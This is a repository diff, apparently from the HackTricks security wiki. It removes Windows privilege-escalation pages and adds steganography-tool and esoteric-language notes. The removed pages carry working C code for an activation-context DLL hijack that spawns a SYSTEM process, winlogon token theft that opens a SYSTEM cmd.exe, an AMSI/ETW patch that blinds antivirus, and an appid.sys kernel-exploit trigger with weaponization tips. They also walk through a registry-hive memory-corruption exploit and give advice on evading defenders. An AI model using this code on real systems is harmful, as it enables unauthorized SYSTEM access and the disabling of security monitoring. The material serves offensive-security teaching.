-    CopyFileW(L"C:\\Windows\\System32\\ctfmon.exe", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\ctfmon.exe", FALSE);
-    CopyFileW(L".\\msctf.dll", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll", FALSE);
-
-    DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM,
-                     L"C:", L"\\??\\C:\\Users\\Public\\fakeC");
-
-    const wchar_t manifest[] =
-        L"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
-        L"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
-        L" <dependency><dependentAssembly>"
-        L"  <assemblyIdentity name='Microsoft.Windows.Common-Controls' version='6.0.0.0'"
-        L"   processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*' />"
-        L"  <file name='advapi32.dll' loadFrom='C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll' />"
-        L" </dependentAssembly></dependency></assembly>";
-    WriteWideFile(L"C:\\Users\\Public\\fakeC\\payload.manifest", manifest);
-
-    ACTCTXW act = { sizeof(act) };
-    act.lpSource = L"C:\\Users\\Public\\fakeC\\payload.manifest";
-    ULONG_PTR cookie = 0;
-    HANDLE ctx = CreateActCtxW(&act);
-    ActivateActCtx(ctx, &cookie);
-
-    STARTUPINFOW si = { sizeof(si) };
-    PROCESS_INFORMATION pi = { 0 };
-    CreateProcessW(L"C:\\Windows\\System32\\ctfmon.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
-
-    WaitForSingleObject(pi.hProcess, 2000);
-    DefineDosDeviceW(DDD_REMOVE_DEFINITION, L"C:", L"\\??\\C:\\Users\\Public\\fakeC");
-    return 0;
-}
-```
-
-</details>
-
-Cleanup tip: after popping SYSTEM, call `sxstrace Trace -logfile %TEMP%\sxstrace.etl` followed by `sxstrace Parse` when testing—if you see your manifest name in the log, defenders can too, so rotate paths each run.
-
----
-
-## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
-If the current process holds **both** `SeDebug` and `SeImpersonate` privileges (typical for many service accounts), you can steal the token from `winlogon.exe`, duplicate it, and start an elevated process:
-
-```c
-// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
-#include <windows.h>
-#include <tlhelp32.h>
-#include <stdio.h>
-
-DWORD FindPid(const wchar_t *name) {
-    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
-    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
-    if (snap == INVALID_HANDLE_VALUE) return 0;
-    if (!Process32FirstW(snap, &pe)) return 0;
-    do {
-        if (!_wcsicmp(pe.szExeFile, name)) {
-            DWORD pid = pe.th32ProcessID;
-            CloseHandle(snap);
-            return pid;
-        }
-    } while (Process32NextW(snap, &pe));
-    CloseHandle(snap);
-    return 0;
-}
-
-int wmain(void) {
-    DWORD pid = FindPid(L"winlogon.exe");
-    if (!pid) return 1;
-
-    HANDLE hProc   = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
-    HANDLE hToken  = NULL, dupToken = NULL;
-
-    if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
-        DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
-
-        STARTUPINFOW si = { .cb = sizeof(si) };
-        PROCESS_INFORMATION pi = { 0 };
-        if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
-                L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
-                NULL, NULL, &si, &pi)) {
-            CloseHandle(pi.hProcess);
-            CloseHandle(pi.hThread);
-        }
-    }
-    if (hProc) CloseHandle(hProc);
-    if (hToken) CloseHandle(hToken);
-    if (dupToken) CloseHandle(dupToken);
-    return 0;
-}
-```
-For a deeper explanation of how that works see:
-
-{{#ref}}
-sedebug-+-seimpersonate-copy-token.md
-{{#endref}}
-
----
-
-## In-Memory AMSI & ETW Patch (Defence Evasion)
-Most modern AV/EDR engines rely on **AMSI** and **ETW** to inspect malicious behaviours.  Patching both interfaces early inside the current process prevents script-based payloads (e.g. PowerShell, JScript) from being scanned.
-
-```c
-// gcc -o patch_amsi.exe patch_amsi.c -lntdll
-#define _CRT_SECURE_NO_WARNINGS
-#include <windows.h>
-#include <stdio.h>
-
-void Patch(BYTE *address) {
-    DWORD oldProt;
-    // mov eax, 0x80070057 ; ret  (AMSI_RESULT_E_INVALIDARG)
-    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
-    VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
-    memcpy(address, patch, sizeof(patch));
-    VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
-}
-
-int main(void) {
-    HMODULE amsi  = LoadLibraryA("amsi.dll");
-    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
-
-    if (amsi)  Patch((BYTE*)GetProcAddress(amsi,  "AmsiScanBuffer"));
-    if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
-
-    MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
-    return 0;
-}
-```
-*The patch above is process-local; spawning a new PowerShell after running it will execute without AMSI/ETW inspection.*
-
----
-
-## Create child as Protected Process Light (PPL)
-Request a PPL protection level for a child at creation time using `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. This is a documented API and will only succeed if the target image is signed for the requested signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb).
-
-```c
-// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
-#include <windows.h>
-
-int wmain(void) {
-    STARTUPINFOEXW si = {0};
-    PROCESS_INFORMATION pi = {0};
-    si.StartupInfo.cb = sizeof(si);
-
-    SIZE_T attrSize = 0;
-    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
-    si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
-    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
-
-    DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
-    UpdateProcThreadAttribute(si.lpAttributeList, 0,
-        PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
-        &lvl, sizeof(lvl), NULL, NULL);
-
-    if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
-                        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
-        // likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
-        return 1;
-    }
-    DeleteProcThreadAttributeList(si.lpAttributeList);
-    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
-    CloseHandle(pi.hThread);
-    CloseHandle(pi.hProcess);
-    return 0;
-}
-```
-
-Levels used most commonly:
-- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
-- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
-- `PROTECTION_LEVEL_LSA_LIGHT` (4)
-
-Validate the result with Process Explorer/Process Hacker by checking the Protection column.
-
----
-
-## Local Service -> Kernel via `appid.sys` Smart-Hash (`IOCTL 0x22A018`, CVE-2024-21338)
-`appid.sys` exposes a device object (`\\.\\AppID`) whose smart-hash maintenance IOCTL accepts user-supplied function pointers whenever the caller runs as `LOCAL SERVICE`; Lazarus is abusing that to disable PPL and load arbitrary drivers, so red teams should have a ready-made trigger for lab use.
-
-Operational notes:
-- You still need a `LOCAL SERVICE` token. Steal it from `Schedule` or `WdiServiceHost` using `SeImpersonatePrivilege`, then impersonate before touching the device so ACL checks pass.
-- IOCTL `0x22A018` expects a struct containing two callback pointers (query length + read function). Point both at user-mode stubs that craft a token overwrite or map ring-0 primitives, but keep the buffers RWX so KernelPatchGuard does not crash mid-chain.
-- After success, drop out of impersonation and revert the device handle; defenders now look for unexpected `Device\\AppID` handles, so close it immediately once privilege is gained.
-
-<details>
-<summary>C - Skeleton trigger for `appid.sys` smart-hash abuse</summary>
-
-```c
-#define WIN32_LEAN_AND_MEAN
-#include <windows.h>
-#include <stdio.h>
-
-typedef struct _APPID_SMART_HASH {
-    ULONGLONG UnknownCtx[4];
-    PVOID QuerySize;   // called first
-    PVOID ReadBuffer;  // called with size returned above
-    BYTE  Reserved[0x40];
-} APPID_SMART_HASH;
-
-DWORD WINAPI KernelThunk(PVOID ctx) {
-    // map SYSTEM shellcode, steal token, etc.
-    return 0;
-}
-
-int wmain(void) {
-    HANDLE hDev = CreateFileW(L"\\\\.\\AppID", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
-    if (hDev == INVALID_HANDLE_VALUE) {
-        printf("[-] CreateFileW failed: %lu\n", GetLastError());
-        return 1;
-    }
-
-    APPID_SMART_HASH in = {0};
-    in.QuerySize = KernelThunk;
-    in.ReadBuffer = KernelThunk;
-
-    DWORD bytes = 0;
-    if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) {
-        printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
-    }
-    CloseHandle(hDev);
-    return 0;
-}
-```
-
-</details>
-
-Minimal fix-up for a weaponized build: map an RWX section with `VirtualAlloc`, copy your token duplication stub there, set `KernelThunk = section`, and once `DeviceIoControl` returns you should be SYSTEM even under PPL.
-
----
-
-## References
-* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
-* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
-* CreateProcessAsPPL – minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
-* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
-* DarkReading – ["Novel Exploit Chain Enables Windows UAC Bypass"](https://www.darkreading.com/vulnerabilities-threats/windows-activation-context-cache-elevation) (2024)
-* Avast Threat Labs – ["Lazarus Deploys New FudModule Rootkit"](https://decoded.avast.io/threatresearch/lazarus-deploys-new-fudmodule-rootkit/) (2024)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-registry-hive-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/windows-registry-hive-exploitation.md
deleted file mode 100644
index eeab3e024af..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/windows-registry-hive-exploitation.md
+++ /dev/null
@@ -1,128 +0,0 @@
-# Windows Registry Hive Exploitation Primitives
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Why hive corruption is special
-
-Windows registry hives are **memory-mapped `.regf` files** managed by a custom allocator (`HvAllocateCell`, `HvReallocateCell`, `HvFreeCell`). The allocator:
-
-- **Does not randomize allocations** – cell placement depends only on the order/size of prior registry API calls, so layouts are reproducible across hosts.
-- **Lacks integrity checks** – manually altered header/data fields are trusted by kernel consumers (`Cmp*` routines) and by the Registry process itself.
-- **Shares address space with privileged hives** – in many cases attacker-controlled hives are mapped into the same user-mode address range as HKLM/HKU hives, enabling inter-hive overflows.
-
-This makes hive-based memory corruption bugs (e.g., CVE-2023-23420 / CVE-2023-23423) uniquely reliable for LPE.
-
-## Deterministic layout grooming with registry APIs
-
-Because hive allocation is deterministic, you can groom cell placement purely via Win32 APIs. A typical workflow is:
-
-1. **Reset the target key** (delete/recreate) so the hive bin contains only known cells.
-2. **Allocate predictable runs of cells** by creating values with carefully selected sizes:
-   - Key/value metadata cells are multiples of 8 bytes.
-   - Writing `0x3FD8`-byte values forces a fresh `0x4000`-byte bin (`0x3FD8` data + `_HBIN` header/padding), ideal for interleaving bins later.
-3. **Use resize-friendly types** (e.g., `REG_BINARY`) so you can free/extend individual cells just by calling `RegSetValueEx` with different lengths.
-4. **Record the sequence** of operations (create/delete/resize). Replaying it reproduces the same layout on other systems because the allocator has no randomness.
-
-<details>
-<summary>Example layout shaper (simplified C)</summary>
-
-```c
-void MakeBin(HKEY base, const wchar_t *name, size_t bytes) {
-    std::vector<uint8_t> buf(bytes, 0x41);
-    RegSetKeyValueW(base, NULL, name, REG_BINARY, buf.data(), (DWORD)buf.size());
-}
-
-void Groom(HKEY hive) {
-    for (int i = 0; i < 0x20; ++i) {
-        wchar_t value[32];
-        swprintf(value, L"bin_%02d", i);
-        MakeBin(hive, value, 0x3FD8);
-        RegDeleteKeyValueW(hive, NULL, value); // leaves holes for victim cells
-    }
-}
-```
-
-</details>
-
-Once a corruption primitive (overwrite/fill) is available, the groom guarantees that the **target cell resides next to the sprayed holes**, enabling precise overwrites without heap spraying.
-
-## API-only access to privileged hives via misconfigured descendants
-
-Windows only evaluates the **ACL on the final component** of a registry path. If any descendant under HKLM/HKU grants `KEY_SET_VALUE`, `KEY_CREATE_SUB_KEY`, or `WRITE_DAC` to low-privileged users, you can reach it even when every parent key is locked down. Project Zero found **>1000 such writable keys in HKLM on Windows 11**, including long-lived entries like `HKLM\SOFTWARE\Microsoft\DRM` and several `HKLM\SYSTEM` branches.
-
-Practical enumeration strategy:
-
-1. From an elevated context, walk `\Registry\Machine` and `\Registry\User`, dumping each key’s security descriptor. Store items whose DACL allows unprivileged SIDs.
-2. As a normal user, attempt `RegOpenKeyEx` with `KEY_SET_VALUE|KEY_CREATE_SUB_KEY` against the recorded paths. Successful opens are viable targets for hive corruption bugs that require attacker-controlled data in system hives.
-3. Maintain a cache of open handles to **stable writable locations** so PoCs can directly deploy corrupted metadata.
-
-```powershell
-$targets = Get-ChildItem Registry::HKEY_LOCAL_MACHINE -Recurse |
-    Where-Object { (Get-Acl $_.PsPath).Access.IdentityReference -match 'S-1-5-32-545' } |
-    Select-Object -ExpandProperty PsPath
-
-foreach ($path in $targets) {
-    try { Get-Item -Path $path -ErrorAction Stop | Out-Null }
-    catch {}
-}
-```
-
-Once such a path is known, the exploit never needs offline hive tampering—**standard registry APIs are enough** to stage the corrupt cells inside privileged hives touched by SYSTEM services.
-
-## Cross-user hive abuse via `HKCU\Software\Microsoft\Input\TypingInsights`
-
-Every user hive contains `HKCU\Software\Microsoft\Input\TypingInsights`, whose ACL grants `KEY_ALL_ACCESS` to **Everyone (S-1-1-0).** Until Microsoft tightens it, any user can:
-
-- **Fill another user’s hive** up to the 2 GiB limit, causing logon failures or forcing hive truncation (useful to coerce allocator behavior or DoS).
-- **Drop corrupted cells** into other users’ `NTUSER.DAT`, setting up lateral exploits that trigger when the victim process reads the compromised key.
-- **Modify differencing hives** for sandboxed apps that rely on per-user overlay hives, forcing them to consume malicious metadata.
-
-This makes hive corruption vulnerabilities applicable to **lateral movement**, not just elevation within the same account.
-
-## Turning metadata corruption into paged pool overflows
-
-Large registry values are stored in `_CM_BIG_DATA` records:
-
-- `_CM_KEY_VALUE.DataLength` holds the logical size. Its high bit indicates whether the payload lives inside the cell or in big-data storage.
-- `_CM_BIG_DATA.Count` counts **16 KiB chunks** (16384 bytes minus metadata) referenced via a chunk table.
-
-When any component calls `CmpGetValueData`:
-
-1. The kernel allocates a **paged pool buffer** sized strictly from `DataLength`.
-2. It copies `Count * 0x4000` bytes from hive storage into that buffer.
-
-If you can corrupt the cell so `DataLength < 16344 * (Count - 1)`, the copy **overruns the destination linearly** into adjacent paged-pool objects. A reliable exploit chain is:
-
-1. Use the deterministic groom to place the vulnerable `_CM_KEY_VALUE` near controllable metadata.
-2. Flip `DataLength` to a small number (e.g., 0x100) while leaving `_CM_BIG_DATA.Count` intact.
-3. Pool-groom from user mode (pipes, ALPC ports, section objects) so a chosen object (like `EPROCESS->Token` owner or `SRVNET_BUFFER`) occupies the next chunk after the allocation from step 1.
-4. Trigger a read (e.g., `RegQueryValueEx`, `NtQueryValueKey`) so `CmpGetValueData` copies all chunks and **overwrites the neighbor’s fields** with attacker-controlled data from the hive.
-5. Use the corrupted kernel object to pivot to arbitrary read/write or direct SYSTEM token theft.
-
-Because the overflow length equals `(Count * 0x4000) - DataLength`, you get a **precise byte budget** and full control over the bytes written, outperforming many driver-based pool overflows.
-
-## Inter-hive linear overflows via tightly packed HBINs
-
-Hives mounted by the Registry process are mapped in **2 MiB-aligned views** with **no guard gaps**. You can force two different hives to grow in lockstep until their `_HBIN` ranges touch:
-
-1. Choose an attacker-writable hive (app hive or user hive) and a privileged target (e.g., `HKLM\SOFTWARE`).
-2. Continuously create/delete `0x3FD8`-byte values in both hives. Each allocation adds a `0x4000`-byte bin, so running both writers in parallel interleaves their bins in virtual memory (observed with `!process Registry` + `!vad`).
-3. Once the final bin of the attacker hive sits immediately before an HBIN belonging to HKLM, use the hive corruption bug to **overflow out of the attacker hive**, smashing HBIN headers or cells inside HKLM.
-4. With HKLM metadata under control you can:
-   - Stage a big-data inconsistency primitive directly in the privileged hive.
-   - Corrupt configuration data consumed by SYSTEM services before it ever leaves the kernel.
-
-The absence of guard pages means a linear overwrite from an unprivileged hive can **directly corrupt SYSTEM-owned hive structures**, enabling data-only attacks or setting up the pool overflow described above inside HKLM/HKU.
-
-## Operational tips
-
-- Monitor hive placement with `!vad` (user-mode) and `!reg view` / `!pool` (kernel) to confirm adjacency before triggering the overflow.
-- Cache writable HKLM paths discovered during enumeration so corruption primitives can be deployed quickly even after reboots.
-- Combine hive grooming with standard pool feng shui (pipe pair freelists, `NtAllocateVirtualMemory` on `
-Registry` process) to stabilize post-overflow primitives.
-
-## References
-
-- [Project Zero – The Windows Registry Adventure #8: Practical exploitation of hive memory corruption](https://projectzero.google/2025/05/the-windows-registry-adventure-8-exploitation.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/stealing-sensitive-information-disclosure-from-a-web.md b/stealing-sensitive-information-disclosure-from-a-web.md
new file mode 100644
index 00000000000..b596eb99fa2
--- /dev/null
+++ b/stealing-sensitive-information-disclosure-from-a-web.md
@@ -0,0 +1,10 @@
+# Stealing Sensitive Information Disclosure from a Web
+
+If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.  
+Here I present you the main ways to can try to achieve it:
+
+* [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page.
+* \*\*\*\*[**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
+* \*\*\*\*[**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection.md): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
+* [**Clickjaking**](pentesting-web/clickjacking.md): If there is no  protection against this attack, you may be able to trick the user into sending you the sensitive data \(an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)\).
+
diff --git a/stego/esoteric-languages.md b/stego/esoteric-languages.md
new file mode 100644
index 00000000000..ae21edcee23
--- /dev/null
+++ b/stego/esoteric-languages.md
@@ -0,0 +1,52 @@
+# Esoteric languages
+
+[Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
+
+## Malbolge
+
+```text
+('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
+`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
+```
+
+[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl/)
+
+## npiet
+
+![](../.gitbook/assets/image%20%28179%29.png)
+
+[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
+
+## Rockstar
+
+```text
+Midnight takes your heart and your soul
+While your heart is as high as your soul
+Put your heart without your soul into your heart
+
+Give back your heart
+
+
+Desire is a lovestruck ladykiller
+My world is nothing 
+Fire is ice
+Hate is water
+Until my world is Desire,
+Build my world up
+If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
+Shout "FizzBuzz!"
+Take it to the top
+
+If Midnight taking my world, Fire is nothing
+Shout "Fizz!"
+Take it to the top
+
+If Midnight taking my world, Hate is nothing
+Say "Buzz!"
+Take it to the top
+
+Whisper my world
+```
+
+[https://codewithrockstar.com/](https://codewithrockstar.com/)
+
diff --git a/stego/stego-tricks.md b/stego/stego-tricks.md
new file mode 100644
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+# Stego Tricks
+
+**Some info was taken from** [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) **and from** [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
+
+## Extracting data from all files
+
+### Binwalk <a id="binwalk"></a>
+
+Binwalk is a tool for searching binary files, like images and audio files, for embedded hidden files and data.  
+It can be installed with `apt`, and the [source](https://github.com/ReFirmLabs/binwalk) can be found on Github.  
+**Useful commands**:  
+`binwalk file` : Displays the embedded data in the given file  
+`binwalk -e file` : Displays and extracts the data from the given file  
+`binwalk --dd ".*" file` : Displays and extracts the data from the given file
+
+### Foremost <a id="foremost"></a>
+
+Foremost is a program that recovers files based on their headers, footers, and internal data structures. I find it especially useful when dealing with png images. You can select the files that Foremost will extract by changing the config file in **/etc/foremost.conf.**  
+It can be installed with `apt`, and the [source](https://github.com/korczis/foremost) can be found on Github.  
+**Useful commands:**  
+`foremost -i file` : extracts data from the given file.
+
+### Exiftool <a id="exiftool"></a>
+
+Sometimes, important stuff is hidden in the metadata of an image or file; exiftool can be very helpful to view file metadata.  
+You can get it from [here](https://www.sno.phy.queensu.ca/~phil/exiftool/)  
+**Useful commands:**  
+`exiftool file` : shows the metadata of the given file
+
+### Exiv2 <a id="exiv2"></a>
+
+A tool similar to exiftool.  
+It can be installed with `apt`, and the [source](https://github.com/Exiv2/exiv2) can be found on Github.  
+[Official website](http://www.exiv2.org/)  
+**Useful commands:**  
+`exiv2 file` : shows the metadata of the given file
+
+### File
+
+Check out what kind of file you have
+
+### Strings
+
+Extract strings from the file.  
+Useful commands:  
+`strings -n 6 file`: Extract the strings with min length of 6  
+`strings -n 6 file | head -n 20`: Extract first 20 strings with min length of 6  
+`strings -n 6 file | tail -n 20`: Extract last 20 strings with min length of 6  
+`strings -e s -n 6 file`: Extract 7bit strings  
+`strings -e S -n 6 file`: Extract 8bit strings  
+`strings -e l -n 6 file`: Extract 16bit strings \(little-endian\)  
+`strings -e b -n 6 file`: Extract 16bit strings \(big-endian\)  
+`strings -e L -n 6 file`: Extract 32bit strings \(little-endian\)  
+`strings -e B -n 6 file`: Extract 32bit strings \(big-endian\)
+
+### cmp - Comparison
+
+If you have some **modified** image/audio/video, check if you can **find the exact original one** on the internet, then **compare both** files with:
+
+```text
+cmp original.jpg stego.jpg -b -l
+```
+
+## Extracting hidden data in text
+
+### Hidden data in spaces
+
+If you find that a **text line** is **bigger** than it should be, then some **hidden information** could be included inside the **spaces** using invisible characters.󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨  
+To **extract** the **data**, you can use: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
+
+## Extracting data from images
+
+### identify
+
+[GraphicMagick](https://imagemagick.org/script/download.php) tool to check what kind of image a file is. Also checks if the image is corrupted.
+
+```text
+./magick identify -verbose stego.jpg
+```
+
+If the image is damaged, you may be able to restore it by simply adding a metadata comment to it \(if it's very badly damaged this won't work\):
+
+```bash
+./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
+```
+
+### Steghide \[JPEG, BMP, WAV, AU\] <a id="steghide"></a>
+
+Steghide is a steganography program that hides data in various kinds of image and audio files. It supports the following file formats : `JPEG, BMP, WAV and AU`. It’s also useful for extracting embedded and encrypted data from other files.  
+It can be installed with `apt`, and the [source](https://github.com/StefanoDeVuono/steghide) can be found on Github.  
+**Useful commands:**  
+`steghide info file` : displays info about whether a file has embedded data or not.  
+`steghide extract -sf file [--passphrase password]` : extracts embedded data from a file \[using a password\]
+
+You can also extract content from steghide using the web: [https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html)
+
+**Bruteforcing** Steghide: [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker <file> [<wordlist>]`
+
+### Zsteg \[PNG, BMP\] <a id="zsteg"></a>
+
+zsteg is a tool that can detect hidden data in png and bmp files.  
+To install it : `gem install zsteg`. The source can also be found on [Github](https://github.com/zed-0xff/zsteg)  
+**Useful commands:**  
+`zsteg -a file` : Runs every detection method on the given file  
+`zsteg -E file` : Extracts data with the given payload \(example : zsteg -E b4,bgr,msb,xy name.png\)
+
+### stegoVeritas JPG, PNG, GIF, TIFF, BMP
+
+Capable of a wide variety of simple and advanced tricks, this tool can check file metadata, create transformed images, brute force LSB, and more. Check out `stegoveritas.py -h` to read about its full capabilities. Execute `stegoveritas.py stego.jpg` to run all checks.
+
+### Stegsolve
+
+Sometimes there is a message or a text hidden in the image itself that, in order to view it, must have color filters applied, or some color levels changed. Although you can do that with something like GIMP or Photoshop, Stegsolve makes it easier. It's a small Java tool that applies many useful color filters on images; In CTF challenges, Stegsolve is often a real timesaver.  
+You can get it from [Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)  
+To use it, just open the image and click on the `<` `>` buttons.
+
+### FFT
+
+To find hidden content using Fast Fourier T:
+
+* [http://bigwww.epfl.ch/demo/ip/demos/FFT/](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
+* [https://www.ejectamenta.com/Fourifier-fullscreen/](https://www.ejectamenta.com/Fourifier-fullscreen/)
+* [https://github.com/0xcomposure/FFTStegPic](https://github.com/0xcomposure/FFTStegPic) 
+* `pip3 install opencv-python`
+
+### Stegpy \[PNG, BMP, GIF, WebP, WAV\]
+
+A program for encoding information in image and audio files through steganography. It can store the data as either plaintext or encrypted.  
+Find it on [Github](https://github.com/dhsdshdhk/stegpy).
+
+### Pngcheck
+
+Get details on a PNG file \(or even find out it's actually something else!\).  
+`apt-get install pngcheck`: Install the tool  
+`pngcheck stego.png` : Obtain info about the PNG
+
+### Some other image tools worth mentioning
+
+* [http://magiceye.ecksdee.co.uk/](http://magiceye.ecksdee.co.uk/)
+* [https://29a.ch/sandbox/2012/imageerrorlevelanalysis/](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
+
+## Extracting data from audios
+
+### [Steghide \[JPEG, BMP, WAV, AU\]](stego-tricks.md#steghide) <a id="steghide"></a>
+
+### [Stegpy \[PNG, BMP, GIF, WebP, WAV\]](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)
+
+### ffmpeg
+
+ffmpeg can be used to check the integrity of audio files, reporting various information about the file, as well as any errors it finds.  
+`ffmpeg -v info -i stego.mp3 -f null -`
+
+### Wavsteg \[WAV\] <a id="wavsteg"></a>
+
+WavSteg is a Python3 tool that can hide data, using least significant bit, in wav files. It can also search for, and extract, data from wav files.  
+You can get it from [Github](https://github.com/ragibson/Steganography#WavSteg)  
+Useful commands:  
+`python3 WavSteg.py -r -b 1 -s soundfile -o outputfile` : Extracts to an output file \(taking only 1 lsb\)  
+`python3 WavSteg.py -r -b 2 -s soundfile -o outputfile` : Extracts to an output file \(taking only 2 lsb\)
+
+### Deepsound
+
+Hide, and check for, information encrypted with AES-265 in sound files. Download from [the oficial page](http://jpinsoft.net/deepsound/download.aspx).  
+To search for hidden info, simply run the program and open the sound file. If DeepSound finds any data hidden, you'll need to provide the password to unlock it.
+
+### Sonic visualizer <a id="sonic-visualizer"></a>
+
+Sonic visualizer is a tool for viewing and analyzing the contents of audio files. It can be very helpful when facing audio steganography challenges; you can reveal hidden shapes in audio files that many other tools won't detect.  
+If you're stuck, always check the spectrogram of the audio. [Offical Website](https://www.sonicvisualiser.org/)
+
+### DTMF Tones - Dial tones
+
+* [https://unframework.github.io/dtmf-detect/](https://unframework.github.io/dtmf-detect/)
+* [http://dialabc.com/sound/detect/index.html](http://dialabc.com/sound/detect/index.html)
+
+## Other tricks
+
+### Binary length SQRT - QR Code
+
+If you receive binary data with an SQRT length of an entire number, it could be some kind of QR code:
+
+```text
+import math
+math.sqrt(2500) #50
+```
+
+To convert binary "1"s and "0"s to a proper image: [ https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)  
+To read a QR code: [https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/)
+
+### Braile
+
+[https://www.branah.com/braille-translator](https://www.branah.com/braille-translator%29)
+
diff --git a/theme/ai.js b/theme/ai.js
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--- a/theme/ai.js
+++ /dev/null
@@ -1,571 +0,0 @@
-/**
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-  function injectStyles() {
-    let css = `
-#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);min-width:60px;height:60px;border-radius:30px;background:var(--ht-ai-fab-bg,linear-gradient(45deg,#b31328,#d42d3f,#2d5db4,#3470e4));background-size:300% 300%;animation:gradientShift 8s ease infinite;color:var(--ht-ai-fab-fg,#fff);font-size:18px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 12px 26px var(--ht-ai-shadow,rgba(0,0,0,.45));transition:opacity .2s, filter .2s; padding:0 20px;border:1px solid var(--ht-ai-fab-border,rgba(255,255,255,.12))}
-#ht-ai-btn.ht-ai-locked{filter:grayscale(.2);opacity:.85}
-#ht-ai-btn span{margin-left:8px;font-weight:bold}
-@keyframes gradientShift{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}
-#ht-ai-btn:hover{opacity:.85}
